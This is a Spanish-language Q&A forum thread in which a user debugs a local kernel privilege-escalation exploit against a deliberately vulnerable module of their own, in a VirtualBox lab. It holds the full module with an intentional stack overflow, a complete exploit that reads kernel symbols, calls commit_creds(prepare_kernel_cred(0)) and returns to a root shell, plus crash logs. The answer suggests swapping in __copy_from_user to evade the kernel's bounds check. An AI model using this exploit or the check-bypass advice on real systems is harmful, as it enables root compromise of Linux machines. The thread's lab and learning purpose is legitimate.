Desbordamiento de pila de Kernel x86 32 bits - sobrescribiendo los resultados de EIP en __kernel_vsyscall + 9 [cerrado]

1

¿Por qué segfaults en __kernel_vsyscall + 9?

Se realizó una inspección de EIP, interrumpida justo después de fwrite (), línea 93 en exp.c

(gdb) x/10x 0xb7fd9ce5

0xb7fd9ce5 <__kernel_vsyscall+9>:   0xc3595a5d  0x90909090  0x5800768d  0x000077b8
0xb7fd9cf5 <__kernel_sigreturn+5>:  0x9080cd00  0xb800768d  0x000000ad  0xfb9080cd
0xb7fd9d05: 0x3dfffff9  0x71000000
(gdb) 

¿Alguna idea de por qué va allí y, lo que es más importante, segfaults?

Gracias,

Más información:

[16503.171774] ---[ end trace 9f629cab95afffb2 ]---
[16685.903383]  module startedn
[16685.903389]  creating proc entry @ /proc/buggyn
[16693.888290]  buggy_write XXr\xffffffb7\xffffffdft\xffffffb7\xffffffcat\xffffffb 24
[16693.888300] ------------[ cut here ]------------
[16693.888399] WARNING: CPU: 0 PID: 9419 at ./arch/x86/include/asm/uaccess.h:688 buggy_write+0x90/0xa0 [hello_1]
[16693.888417] Buffer overflow detected (8 < 24)!
[16693.888420] Modules linked in: hello_1(POE) vboxsf(OE) snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq intel_powerclamp snd_seq_device vboxvideo(OE) snd_timer intel_rapl_perf ttm joydev input_leds drm_kms_helper serio_raw i2c_piix4 snd drm fb_sys_fops syscopyarea sysfillrect sysimgblt soundcore vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video [last unloaded: hello_1]
[16693.888652] CPU: 0 PID: 9419 Comm: exp Tainted: P        W  OE   4.10.0-28-generic #32~16.04.2-Ubuntu
[16693.888669] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[16693.888682] Call Trace:
[16693.888736]  dump_stack+0x58/0x79
[16693.888776]  __warn+0xea/0x110
[16693.888813]  ? buggy_write+0x90/0xa0 [hello_1]
[16693.888837]  ? 0xf9c77000
[16693.888860]  warn_slowpath_fmt+0x46/0x60
[16693.888895]  buggy_write+0x90/0xa0 [hello_1]
[16693.888928]  proc_reg_write+0x4d/0x70
[16693.888951]  ? proc_reg_poll+0x70/0x70
[16693.888977]  __vfs_write+0x1f/0x50
[16693.889001]  vfs_write+0x9a/0x1c0
[16693.889032]  ? __fdget_pos+0x13/0x40
[16693.889055]  SyS_write+0x49/0xb0
[16693.889084]  do_int80_syscall_32+0x5c/0xc0
[16693.889114]  entry_INT80_32+0x31/0x31
[16693.889126] EIP: 0xb7728ce5
[16693.889136] EFLAGS: 00000246 CPU: 0
[16693.889149] EAX: ffffffda EBX: 00000003 ECX: 085ec570 EDX: 00000018
[16693.889160] ESI: 085ec410 EDI: 085ec570 EBP: 00000018 ESP: bf8066b8
[16693.889171]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[16693.889198] ---[ end trace 9f629cab95afffb3 ]---

cat hello-1.c

#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/uaccess.h>

struct proc_dir_entry *proc_file_entry;

// Buggy write handling
static ssize_t buggy_write(struct file *file,const char *buf, size_t len, loff_t *off){

        char data[8];

        printk(" buggy_write %s %i", buf, len);
        copy_from_user(&data, buf,len);

        return len;
}

static const struct file_operations proc_file_fops = {
 .owner = THIS_MODULE,
 .write  = buggy_write
};

int init_module()  
{
        printk(" module startedn");
        printk(" creating proc entry @ /proc/buggyn");

        // handle anything written to /proc/buggy
        // pass it to buggy_write
        proc_file_entry = proc_create_data("buggy", 0666, NULL, &proc_file_fops,NULL);

        return 0;
}

void cleanup_module()  
{
        remove_proc_entry("buggy", NULL);
}

cat exp.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>

struct fake_frame {  
    void *eip;         // shell()
    uint32_t cs;       // %cs
    uint32_t eflags;   // eflags
    void *esp;         // %esp
    uint32_t ss;       // %ss
} __attribute__((packed)) ff;

void* (*prepare_kernel_cred)(void*)  __attribute__((regparm(3)));  
void* (*commit_creds)(void*) __attribute__((regparm(3)));

void shell(void) {  
    execl("/bin/sh", "sh", 0);
}

void payload(void) {  
    commit_creds(prepare_kernel_cred(0));
    asm("mov ff, %esp;"
            "iret;");
}

/*
 * Setup the fake frame
 * |ss     | Lower
 * |esp    |
 * |eflags |
 * |cs     |
 * |eip    |
 */
void setup_ff(void) {  
    asm("pushl %cs;  popl ff+4;"
        "pushfl;     popl ff+8;"
         "pushl %esp; popl ff+12;"
        "pushl %ss;  popl ff+16;");
    ff.eip = &shell;
    ff.esp -= 1024;
}

int main()  
{
    FILE *fd;
    char buf[24];
    *((void**) (buf+20)) = &payload;
    int ret = 0;
    unsigned long addr;
    char dummy;
    char sname[512];

    // Get needed addresses
    fd = fopen("/proc/kallsyms", "r");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
    while(ret != EOF) {
        ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
        if(prepare_kernel_cred && commit_creds)
            break;
        else
        if(!strncmp(sname, "prepare_kernel_cred", 512))
            prepare_kernel_cred = (void*)addr;
        else
        if(!strncmp(sname, "commit_creds", 512))
            commit_creds = (void*)addr;

    }
    fclose(fd);
    fprintf(stdout, "[+] commit_creds at %pn", (void **)addr);
    fprintf(stdout, "[+] prepare_kernel_cred %pn", (void **)addr);

    // setup fake frame
    fprintf(stdout, "[+] preparing fake framen");
    setup_ff();

    // write payload
    fprintf(stdout, "[+] writing payload to /proc/buggyn");
    fd = fopen("/proc/buggy", "w");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
    fwrite(buf, sizeof(buf),1, fd);
    fclose(fd);

    return 0;
}

Actualización 1:

(gdb) i r
eax            0x804b000    134524928
ecx            0xfff    4095
edx            0xb7fbb000   -1208242176
ebx            0x0  0
esp            0xbffff188   0xbffff188
ebp            0xb7fbcdcc   0xb7fbcdcc <__curbrk>
esi            0x0  0
edi            0x21000  135168
eip            0xb7fd9ce5   0xb7fd9ce5 <__kernel_vsyscall+9>
eflags         0x296    [ PF AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/10i 0xb7fd9ce5
=> 0xb7fd9ce5 <__kernel_vsyscall+9>:    pop    %ebp
   0xb7fd9ce6 <__kernel_vsyscall+10>:   pop    %edx
   0xb7fd9ce7 <__kernel_vsyscall+11>:   pop    %ecx
   0xb7fd9ce8 <__kernel_vsyscall+12>:   ret    
   0xb7fd9ce9:  nop
   0xb7fd9cea:  nop
   0xb7fd9ceb:  nop
   0xb7fd9cec:  nop
   0xb7fd9ced:  lea    0x0(%esi),%esi
   0xb7fd9cf0 <__kernel_sigreturn>: pop    %eax
(gdb) 

Actualización 2:

Después de cambiar a __copy_from_user ()

EIP: __check_object_size+0x6a/0x13a
[  268.591265] EFLAGS: 00010286 CPU: 0
[  268.591997] EAX: 0000005b EBX: ced3deec ECX: f71e8900 EDX: 00000007
[  268.592333] ESI: 00000018 EDI: cda74cfc EBP: ced3ded8 ESP: ced3deb0
[  268.592713]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[  268.593043] CR0: 80050033 CR2: 096df438 CR3: 25868280 CR4: 000006f0
[  268.593470] Call Trace:
[  268.594254]  ? 0xf87c6000
[  268.594629]  buggy_write+0x3c/0x70 [hello_1]
[  268.595051]  proc_reg_write+0x4d/0x70
[  268.595289]  ? proc_reg_poll+0x70/0x70
[  268.595525]  __vfs_write+0x1f/0x50
[  268.595742]  vfs_write+0x9a/0x1c0
[  268.595952]  ? __fdget_pos+0x13/0x40
[  268.596983]  SyS_write+0x49/0xb0
[  268.597239]  do_int80_syscall_32+0x5c/0xc0
[  268.597559]  entry_INT80_32+0x31/0x31
[  268.597814] EIP: 0xb7fd9ce5
[  268.597990] EFLAGS: 00000246 CPU: 0
[  268.598193] EAX: ffffffda EBX: 00000003 ECX: 0804b570 EDX: 00000018
[  268.598515] ESI: 0804b410 EDI: 0804b570 EBP: 00000018 ESP: bffff258
[  268.600418]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[  268.601951] Code: 24 38 b8 a7 cd 89 f9 bf fc 4c a7 cd 84 c9 b9 f6 14 ab cd 0f 44 ca ba 47 e9 a7 cd 0f 44 d7 89 4c 24 08 89 54 24 04 e8 14 83 f8 ff <0f> 0b 8d 74 26 00 83 f8 10 0f 86 b7 00 00 00 e8 52 d0 fc ff 85
[  268.619407] EIP: __check_object_size+0x6a/0x13a SS:ESP: 0068:ced3deb0
[  268.636139] fbcon_switch: detected unhandled fb_set_par error, error code -16
[  268.679446] fbcon_switch: detected unhandled fb_set_par error, error code -16
[  268.721666] ---[ end trace 9339f36f8a5c6988 ]---

Actualización 3:

En otra computadora recibí este mensaje

[  171.982697]  module startedn creating proc entry @ /proc/buggyn buggy_write X(v\xffffffb7\xffffffafx\xffffffb7\xffffffaa\xffffffdew\xffffffb 24
[  173.805365] usercopy: kernel memory overwrite attempt detected to f1ca3ee4 (<process stack>) (24 bytes)

Sospecho que se está matando el proceso que:

+static void report_usercopy(const void *ptr, unsigned long len,
+               bool to_user, const char *type)
+{
+   pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
+       to_user ? "exposure" : "overwrite",
+       to_user ? "from" : "to", ptr, type ? : "unknown", len);
+   dump_stack();
+   do_group_exit(SIGKILL);
+}

Eso tiene sentido.

Actualización 4:

en la fuente de mi kernel:

linux-hwe-4.10.0 / mm / usercopy.c

static void report_usercopy(const void *ptr, unsigned long len,
                            bool to_user, const char *type)
{
        pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
                to_user ? "exposure" : "overwrite",
                to_user ? "from" : "to", ptr, type ? : "unknown", len);
        /*
         * For greater effect, it would be nice to do do_group_exit(),
         * but BUG() actually hooks all the lock-breaking and per-arch
         * Oops code, so that is used here instead.
         */
        BUG();
}

Está bien, así que supongo que tengo que eliminarlo para tener éxito con mi explotación

    
pregunta android_dev 09.10.2017 - 15:23
fuente

1 respuesta

3

Si observa en x86/include/asm/uaccess.h , verá que hay un control de tamaño copy_from_user() . Normalmente querrá que esto se detecte, pero como está haciendo un desbordamiento de búfer deliberado aquí, es posible que desee utilizar _copy_from_user() o incluso __copy_from_user() en su lugar. Estas funciones se definen en x86/lib/usercopy_32.c

Con respecto a __kernel_vsyscall+9 , esta es una dirección en la función que realiza la llamada al núcleo, será más informativa si realiza un desmontaje de esa función. O bien

(gdb) x/10i $eip

o simplemente

(gdb) disassemble

Mi conjetura es que la comprobación de límites fallida detectada desencadena un fallo de segmentación que se genera después de que se devuelve el syscall.

    
respondido por el LarsH 09.10.2017 - 16:13
fuente

Lea otras preguntas en las etiquetas